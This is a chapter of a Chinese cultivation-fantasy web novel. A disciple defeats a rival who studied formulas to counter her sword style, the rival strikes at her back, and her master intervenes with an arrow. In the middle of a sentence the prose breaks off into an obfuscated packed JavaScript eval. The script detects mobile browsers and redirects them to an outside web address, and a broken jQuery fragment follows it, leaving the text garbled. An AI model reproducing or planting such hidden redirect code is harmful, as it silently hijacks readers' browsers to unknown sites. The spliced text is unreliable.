刻意的控分拦不住能力绝对领先的人。
这是青容第一次踏入仙门大比的淘汰赛,以小组第一名的身份。
上一届她因意外被迫终止自己的晋级之路,令临霜教上下惋惜了好些时日,因此第三大轮开打前的晨曦下,她的院落里时常传来好一阵叮嘱。
“师妹,你要小心。”
“师妹,他们的招数有时候怪怪的,你一定要当心,不要着了他们的道。”
“师妹,保护自己,不要受伤。”
“师妹……”
青容被团团围住,耳边尽是师兄师姐们的絮絮叨叨,甚至欧阳晔还在给她递暗器,青容被吵得头疼,偏又只能笑着接受,内心皱成苦瓜似的,恨不得当场装晕脱身。
直到晨雾中传来一阵规律的脚步声,人群才骤然安静下来。
慕砚恒一袭墨色锦袍立于院门前,拖长的衣摆处用冰蚕银线绣着连绵的云纹,行走间在光照下,流淌着泠泠清辉。
他难得一身玄色,比白衣时更多了分深沉与矜贵。
众弟子慌忙行礼,他略一颔首,人群便如潮水般退开。
慕砚恒丝毫不见外的直接坐到青容身侧,那身华贵的正装免不了沾上石凳角落的灰尘,他却浑不在意,言语也分毫不避讳:“你有几日没来寻为师了。”
语出惊人,吓得众弟子又散开了一点。
青容故作懵懂:“知晓师父心中有事,也在寻解决之法,便没来打扰师父。”
“这会倒是懂事上了。”慕砚恒却没有欣慰之意,反而瞧着不是很开心。
青容撇撇嘴,轻轻拉住慕砚恒的衣袖:“这届大比过于复杂,徒儿最近也迷惘的很,冷落师父,是徒儿的过错。”
慕砚恒:“……”
这话说的怎么那么奇特呢。
他沉默片刻,瞥了眼青容背在身后的剑:“自己多当心,不过那些人企图找到公式以破解临霜剑法,也是……蠢得出奇,若不是开头的那些弟子没做准备,他们的计划从一开始就会落空。”
剑法武学之精妙,哪是凭借公式就可以破除的?
“无妨的,师父,我会替他们出气。”
朝阳穿透云层,将师徒二人的影子投在院落的青石上,青容的指尖停留在剑柄末端,神情淡然,眸中却如灼着暗火:“我会让他们知道,临霜剑法……不是什么人都能染指的。”
…
“你……怎么会……怎么都对你没用……”
李观的声音几乎是从牙缝里挤出来的,握着短刺的指节因过度用力而泛白,额角也渗出细密的汗珠。
青容的剑气层层压来,逼得他不得不连连后退。
他二人好巧不巧,第二大轮短暂又不愉快的相遇后,又在淘汰赛对上了,也勉强能算另类的缘分。
上一轮的惨败让李观有所收敛,此刻他全神贯注盯着青容的每一个细微动作,集中精神的同时,以事先研究好的破招之法逐渐寻找机会。
这也是山主原本教他的,只是第一回他秉着胜券在握的心,过于轻敌了。
两人本打的有来有回,李观左手短刺蓄势待发,青容的剑招的确都有在剑谱上看到过,山主所教的对应解法已在他心中演练数次,只待一个发挥的时机。
终于,他看到了机会。
长剑略过他的肩侧,与此同时,李观总算寻到了青容的破绽,他眸中一喜,近乎是迫不及待的将左手刺出,仿着破解之式准备一举拿下。
然而下一刻,青容变招了。
本留出的破绽的确还在,然而青容的剑更快,剑刃在手腕的转动下,竟就这么刺了回来。
李观只得收回攻势,改为防御姿态。
两人又陷入一番焦灼。
露破绽,再顺势反击,这样的场景发生了一次又一次,李观始终没能真正占到便宜,倒是青容似是摸透了他的套路,转而开始发力。
攻守转换。
直至此刻,李观的后背早已被冷汗浸透,握着短刺的手微微发颤,他死死盯着对面执剑而立的青容,喉结不自觉的滚动了一下。
明明已经将她的剑路研究得透彻,明明山主亲授的破解之法已经演练过千百遍……
可现在,所有的准备都成了笑话。
台下观战的各派弟子早已屏住呼吸,恒山的弟子们挤在最前排,一个个瞪大眼睛,脸上写满惊愕。
他们大部分人亲眼见过李观是如何在山主的指导下一招一式拆解临霜剑法的,可现在……
“怎么回事?”一个年轻弟子忍不住拽了拽身旁师兄的衣袖,“李师兄怎么完全被压制了?”
那师兄眉头紧锁,没有回答。
青容的剑又一次刺来,一道寒光直取心口,李观立刻侧身短刺斜挑,这正巧是破解此招的最佳角度,他的动作精准利落,引得台下几位长老微微颔首。
“咦?”观战席上却突然响起惊疑声。
只见青容的手腕忽然一翻,那看似直来直往的一剑竟在半空划出一道诡异的弧线,剑锋灵活的绕过李观的格挡,直取咽喉。
“当心!”恒山山主不由自主发出惊呼。
李观大骇,仓皇后仰,剑尖擦着他的下巴掠过,登时多出一道浅浅的血痕。
台下传来一阵倒吸冷气的声音。
“这……”扶摇宗的一位长老猛然站起身,“这根本不是临霜剑法!”
弟子们面面相觑,有人小声嘀咕:“可这起手的前半段分明就在剑谱上见过啊……”
李观还没从方才的惊险中回神,青容的剑势又变,方才凌厉的直刺突然变得柔而快,如同一场连绵细雨将人笼罩其中,压的人喘不过气。
他拼命回想破解之法,却发现青容的每一式都有剑谱上的影子,可又不是完全一样,一旦细节产生偏差,公式便会完全失效,只余下被动的狼狈。
“砰!”
短刺脱手飞出,砸在石板上发出清脆的声响,整个擂台瞬间鸦雀无声。
李观僵在原地,喉间抵着的剑尖冰凉而刺骨。
台下恒山的弟子们一个个面如土色。
“为什么……”李观声音沙哑,“为什么这些招式都对你无用……”
青容收剑,颇为淡然地行了个礼,面上却无半分谦逊之意。
“破绽是留给死人的。”她的声音不大,却格外清晰,“而活人,才会变通。”
掌握了破招的公式又如何?
破的是剑式,又不是持剑的人。
短暂的寂静后,观战席临霜教的方向顿时爆发出雷鸣般的喝彩,早已看出异样的临霜弟子们激动地站起身,恨不得冲上台好好庆祝一番,出了这口恶气。
天杀的玩意,真以为破了剑法就有用吗?还不是被他们师妹耍的团团转,不过如此,不过如此啊。
听到动静,青容朝同门的方向眨了眨眼,神态狡黠灵动,显出几分少女的活泼来,与方才比试时的老练狠厉判若两人。
她信步走向台边,衣袂翩跹,阳光为她勾勒出一道金色的轮廓。
明媚又灿烂。
高台之上,慕砚恒负手而立,他深邃的目光追随着那道白色的身影,眼底难得慷慨的闪过一丝的柔和。
青容似有所感,忽然抬头,隔着喧嚣的人群与他四目相对,她轻轻一笑,一副耀武扬威的模样。
慕砚恒微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336372|178579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微挑眉,点了点头以示回应。
还真挺厉害,他想。
他这徒弟比他想象的还要厉害得多。
而不起眼的另一边,李观站在原地,脸色阴沉得可怕,握紧短刺的手指微微发颤。
连着两次如此,这回更是被踩着淘汰,他被师父寄予厚望,却只得到这般难堪的结果,来日回山,怕是再无他的翻身之地。
凭什么?他想。
数月来,他不分昼夜废寝忘食的学习破招之法,比门派的其他任何弟子都要努力,凭什么都已经练到了这般地步了,他还是会输,而且是输的最难看的那个。
“不过是个仗着师门威风的丫头……”他低声咒骂,眼中闪过一丝狠色。
就在青容即将踏下台阶的同时。
恒山山主猛然站起:“住手!”
短刺裹挟着凌厉的劲风,直袭青容后心,李观眼中翻涌着不甘与怨毒,死死盯着那道渐行渐远的背影。
临霜教的师兄师姐们向来很友好,偶尔的摩擦也都是小孩子过家家般的出气,青容根本没预料到这仙门竟真会有人如此恶毒,她没有做分毫防备,待她察觉异样时,那短刺已贴近她的心口后侧。
千钧一发之际。
一道箭鸣撕裂长空。
观战高台之上,慕砚恒骤然起身,玄色大氅随动作翻飞而起。
箭镞精准击中短刺中央,余势不减直接钉入李观腿侧的石板,隐约间竟结出一层薄冰。
全场死寂。
有胆子大的弟子偷偷望向高台,几乎屏息,好像在此刻发出一丁点动静都会惹来麻烦,包括自己的呼吸声。
慕砚恒仍保持着开弓的姿势,衣摆翻涌,披着轻裘的身形颀长而伟岸,如墨的长发被风拂起,衬得那张俊美如谪仙的面容愈发凌厉。
原本平静的眸子此刻泛着冰冷的幽光,他薄唇紧抿,看向李观的眼神带着许多弟子从未见过的狠戾。
“恒山真是好做派。”慕砚恒执着弓箭,缓缓踱步至台上,“切磋落败,竟想要了对手性命。”
恒山本就以快为长,若非他及时察觉李观状态不对,提前做了准备,这突如其来的一刺,以这个距离,没有任何人能挡住。
短刺锋利,下手阴毒,硬接这一下,是真有可能会丧命的。
众目睽睽,竟有人胆敢要他徒弟的命。
恒山山主面色发白,他张了张嘴,喉间却干涩得发不出声音。
从李观出手的那一瞬开始,恒山便没有其他路可选,如此恶劣的行径,别说逐出门派,直接废去修为被扣押到临霜教都不为过。
“师妹!”临霜教弟子再顾不上什么规矩,连连冲上台,“师妹你怎么样了?”
一部分弟子围着青容,另一部分拔出剑直奔李观而去,又被更理智的同门弟子拦了下来。
而对青容来说,此刻的一切都是模糊的,耳边是阵阵模糊的嗡鸣,她浑身僵住,脊骨发麻,气息倒行逆施,只觉眼前一片漆黑,竟就这样晕了过去。
陆怀夕是离得最近的,她手忙脚乱将青容抱在怀里,近乎急出哭腔:“师妹你别吓我啊。”
“她不会有事的。”江溪闻安慰道,“护教出手及时,那短刺并未触及肉身,师妹应当只是受了惊吓。”
他们也受了惊吓,若不是各大派的掌门长老都在……这李观,今日绝不会竖着离开这里。
而存了这个念头的绝不仅仅只有临霜教的弟子。
慕砚恒余光瞥见青容晕倒,他深吸口气,眸光再次一冷。
“护教!”这回连陵渊都惊呼出声。
慕砚恒竟再次张弓搭箭,这一次,他对准了李观的眉心。